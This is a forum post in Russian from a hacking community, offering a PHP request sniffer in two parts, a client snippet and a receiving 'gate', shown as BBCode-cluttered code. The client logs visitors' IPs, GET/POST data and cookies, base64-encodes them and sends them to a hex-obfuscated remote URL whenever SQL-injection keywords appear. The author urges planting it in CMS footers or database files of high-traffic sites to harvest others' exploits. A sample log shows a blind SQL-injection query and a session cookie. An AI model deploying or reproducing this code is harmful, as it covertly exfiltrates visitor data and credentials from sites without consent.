ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

28.01.2014, 18:55
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме: 371875
Репутация:
137
|
|
Изначально снифер предполагался с целью защиты сайтов от SQL-injection, а в дольнейшем при доработке от XSS и брутов админок, но щас его решил выложить как обычный снифер запросов.
Логика проста, некоторые личности постоянно мучают вопросами, как бы под раздобыть актуальные сплоиты. Отвечу, что самим разбирать движки, искать уязвимые моменты, тестить а дальше флаг вам в руки!)
Для самых ленивых есть вариант по проще, использовать PHPSnifer.
Пример клиентской части:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (!empty([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_CLIENT_IP'[/COLOR][COLOR="#007700"]]))
[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_CLIENT_IP'[/COLOR][COLOR="#007700"]];
elseif (!empty([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_X_FORWARDED_FOR'[/COLOR][COLOR="#007700"]]))
[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_X_FORWARDED_FOR'[/COLOR][COLOR="#007700"]];
else[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'REMOTE_ADDR'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$bot[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$script[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'PHP_SELF'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$reff[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP_REFERER"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Y-m-d H:i:s"[/COLOR][COLOR="#007700"]);
function[/COLOR][COLOR="#0000BB"]Logged_get[/COLOR][COLOR="#007700"]() {
[/COLOR][COLOR="#0000BB"]$strG[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
foreach([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]$strG[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$stGetlog[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'GET / '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$strG[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]$stGetlog[/COLOR][COLOR="#007700"];
}
function[/COLOR][COLOR="#0000BB"]Logged_post[/COLOR][COLOR="#007700"]() {
[/COLOR][COLOR="#0000BB"]$strP[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
foreach([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]$strP[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$stPostlog[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'POST / '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$strP[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]$stPostlog[/COLOR][COLOR="#007700"];
}
function[/COLOR][COLOR="#0000BB"]Logged_cook[/COLOR][COLOR="#007700"]() {
[/COLOR][COLOR="#0000BB"]$strC[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
foreach([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]$strC[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$stCooklog[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'COOKIE / '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$strC[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]$stCooklog[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$log[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"--\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' :: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' :: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$bot[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' :: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$reff[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' :: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$script[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]Logged_get[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]Logged_post[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]Logged_cook[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#DD0000"]'--'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$b[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]base64_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$log[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]//кодированый урл http://www.site.com/log.php?l=
[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x69\x74\x65\x2E\x63\x6F\x6D\x2F\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x6C\x3D"[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/(union|select|and|or|count|from|concat|version|database|flor|user|pass)/i"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$log[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$b[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//Отпровляем пакет на гейт!
[/COLOR][COLOR="#007700"]} else {
[/COLOR][COLOR="#FF8000"]//Любой другой код если вхождение не верно!
[/COLOR][COLOR="#007700"]}[/COLOR][/COLOR]
а вот пример серверной части, той что будет принимать нужные нам логи:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'l'[/COLOR][COLOR="#007700"]]) {
function[/COLOR][COLOR="#0000BB"]Logged_get[/COLOR][COLOR="#007700"]() {
[/COLOR][COLOR="#0000BB"]$strG[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
foreach([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]$strG[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$stGetlog[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'GET / '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$strG[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]$stGetlog[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'DOCUMENT_ROOT'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]'/log.txt'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]base64_decode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]Logged_get[/COLOR][COLOR="#007700"]()),[/COLOR][COLOR="#0000BB"]FILE_APPEND[/COLOR][COLOR="#007700"]); exit();
} else { exit(); }[/COLOR][/COLOR]
С помощью регулярки:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/(union|select|and|or|count|from|concat|version|dat abase|flor|user|pass)/i"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$log[/COLOR][COLOR="#007700"])[/COLOR][/COLOR]
мы определяем ключевые слова использующиеся при иньектах и отправляем на гейт, лог.
Пример лога:
Сообщение от None
2014-01-29 00:06:22 :: 127.0.0.1 :: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) :: :: /index.php
GET / option=com_muscol&view=search&search=albums&genre_ id=1 and(select ascii(mid(concat(version()), 1,1))=53)&
POST /
COOKIE / c8ea09e9e33b9c6dbcb7087efafc7945=3dd23bbdd1352e8ae 2141351e10a130e&
Нам остается в каких нить популярных движках про инклудить серверную часть, к примеру в файл с БД или footer, чтоб это все дело отлавливалось на всех страницах.
Далее берем трафистые сайты на разных движках и ставим снифер. Трафистые сайты постоянно ломают, поэтому улов будет железный!) А частенько по подаются такие экспы...
P.S: Пробуйте, экспериментируйте, удачи!)
P.S2:В коде была ошибка исправил!
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|